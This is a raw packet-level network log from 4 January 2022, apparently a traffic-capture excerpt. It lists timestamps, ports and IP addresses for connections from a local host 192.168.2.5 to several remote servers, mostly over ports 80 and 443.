Jan 4, 2022 19:33:39.661540985 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.661557913 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661570072 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.661581039 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661601067 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.661603928 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661627054 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661649942 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661667109 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.661673069 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661684036 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.661699057 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661721945 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661734104 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.661745071 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661760092 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.661770105 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661793947 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661818027 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661840916 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661863089 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.661865950 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661870956 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.661889076 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661899090 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.661912918 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661936045 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661957979 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.661962986 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.661982059 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.662004948 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.662028074 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.662050009 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.662050962 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.662059069 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.662074089 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.662098885 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.662122011 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.662143946 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.662144899 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.662153006 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.662197113 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.694513083 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.694544077 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.694566965 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.694596052 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.694632053 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.735630035 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.736207008 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.756808043 CET	49846	38133	192.168.2.5	86.107.197.138
Jan 4, 2022 19:33:39.769918919 CET	49848	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:39.785358906 CET	38133	49846	86.107.197.138	192.168.2.5
Jan 4, 2022 19:33:39.833060980 CET	49846	38133	192.168.2.5	86.107.197.138
Jan 4, 2022 19:33:39.846448898 CET	80	49848	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:39.846951962 CET	49848	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:39.847086906 CET	49848	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:39.847114086 CET	49848	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:39.925173044 CET	80	49848	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:39.930229902 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.930289030 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.930397987 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.930444002 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.930516958 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.930553913 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.930598021 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.930630922 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.930640936 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.930643082 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.931382895 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.931444883 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.931495905 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.931504011 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.931545019 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.931555986 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.931591988 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.931639910 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.931648970 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.931696892 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.931737900 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.931749105 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.931771994 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.931806087 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.931823969 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.931838989 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.931880951 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.931895971 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.931925058 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.931932926 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.931973934 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.931994915 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.932028055 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.932059050 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.932058096 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.932095051 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.932116032 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.932147980 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.932149887 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.932159901 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.932174921 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.932183981 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.932198048 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.932218075 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.932250023 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.932281971 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.932310104 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.932313919 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.932327032 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.932352066 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.932384014 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.932415962 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.932427883 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.932449102 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.932468891 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.932481050 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.932513952 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.932544947 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.963762045 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.963815928 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.963901043 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.964073896 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.964128017 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:39.964899063 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:39.973511934 CET	80	49848	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:39.974884033 CET	49848	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:39.996771097 CET	49848	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:40.020910025 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.033708096 CET	49849	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:40.072977066 CET	80	49848	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:40.091121912 CET	80	49849	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:40.095007896 CET	49849	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:40.095143080 CET	49849	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:40.095168114 CET	49849	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:40.152551889 CET	80	49849	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:40.199613094 CET	80	49849	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:40.199667931 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.199707985 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.199711084 CET	49849	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:40.199925900 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.199984074 CET	49849	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:40.200018883 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.200062037 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.200100899 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.200136900 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.200176001 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.200217009 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.200236082 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.201456070 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.201498032 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.201538086 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.201575041 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.201606035 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.201612949 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.201622963 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.201653004 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.201689959 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.201728106 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.201741934 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.201750040 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.201769114 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.201808929 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.201848984 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.201884985 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.201917887 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.201935053 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.201975107 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.201998949 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.202013016 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.202052116 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.202055931 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.202061892 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.202090979 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.202130079 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.202168941 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.202183008 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.202208042 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.202248096 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.202286959 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.202311039 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.202317953 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.202323914 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.202363014 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.202400923 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.202440023 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.202449083 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.202454090 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.202482939 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.202519894 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.202558994 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.202598095 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.202634096 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.202644110 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.202651024 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.202672958 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.202709913 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.224909067 CET	49850	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:40.233148098 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.233212948 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.233267069 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.233326912 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.233369112 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.234415054 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.257436037 CET	80	49849	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:40.286201954 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.290086031 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.293165922 CET	80	49850	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:40.293270111 CET	49850	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:40.293404102 CET	49850	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:40.293461084 CET	49850	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:40.333090067 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.360709906 CET	80	49850	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:40.402226925 CET	80	49850	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:40.402327061 CET	49850	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:40.402600050 CET	49850	80	192.168.2.5	89.223.65.17
Jan 4, 2022 19:33:40.439241886 CET	49851	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:40.439295053 CET	443	49851	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:40.439495087 CET	49851	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:40.440336943 CET	49851	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:40.440370083 CET	443	49851	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:40.469346046 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.469397068 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.469435930 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.469472885 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.469511032 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.469542027 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.469549894 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.469563961 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.469671011 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.470959902 CET	80	49850	89.223.65.17	192.168.2.5
Jan 4, 2022 19:33:40.471476078 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.471518040 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.471556902 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.471596956 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.471635103 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.471668959 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.471673012 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.471676111 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.471714020 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.471751928 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.471853018 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.471890926 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.471931934 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.471982002 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.471990108 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.472007036 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472054005 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472115040 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.472117901 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472182989 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472222090 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472260952 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472265005 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.472300053 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472352982 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472393036 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472433090 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472453117 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.472462893 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.472470999 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472511053 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472548962 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472594023 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472608089 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.472613096 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.472650051 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472707033 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472757101 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.472763062 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.472762108 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472820997 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472878933 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.472934961 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.472994089 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.473048925 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.473104000 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.473157883 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.473215103 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.473221064 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.483596087 CET	443	49851	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:40.483900070 CET	49851	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:40.485717058 CET	49851	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:40.485729933 CET	443	49851	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:40.486263990 CET	443	49851	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:40.490336895 CET	49851	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:40.502559900 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.502584934 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.502603054 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.502620935 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.502717972 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.502751112 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.532865047 CET	443	49851	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:40.555546999 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.598741055 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.602400064 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.618000031 CET	443	49851	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:40.618139982 CET	443	49851	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:40.618304014 CET	49851	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:40.622899055 CET	49851	443	192.168.2.5	67.199.248.11
Jan 4, 2022 19:33:40.622931004 CET	443	49851	67.199.248.11	192.168.2.5
Jan 4, 2022 19:33:40.645715952 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.651098013 CET	49852	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:40.651139975 CET	443	49852	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:40.651220083 CET	49852	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:40.651567936 CET	49852	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:40.651591063 CET	443	49852	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:40.705985069 CET	443	49852	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:40.706146955 CET	49852	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:40.708933115 CET	49852	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:40.708955050 CET	443	49852	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:40.709213972 CET	443	49852	104.16.203.237	192.168.2.5
Jan 4, 2022 19:33:40.710403919 CET	49852	443	192.168.2.5	104.16.203.237
Jan 4, 2022 19:33:40.738527060 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.738575935 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.738615990 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.738656044 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.738675117 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.738694906 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.738713026 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.738735914 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.739578009 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.740614891 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.740658998 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.740695953 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.740793943 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.740967035 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.741084099 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.741115093 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.741962910 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.742006063 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.742046118 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.742084026 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.742096901 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.742115021 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.742284060 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.742324114 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.742455006 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.742495060 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.742496014 CET	49839	80	192.168.2.5	61.98.7.132
Jan 4, 2022 19:33:40.742538929 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.742579937 CET	80	49839	61.98.7.132	192.168.2.5
Jan 4, 2022 19:33:40.742618084 CET	80	49839	61.98.7.132	192.168.2.5
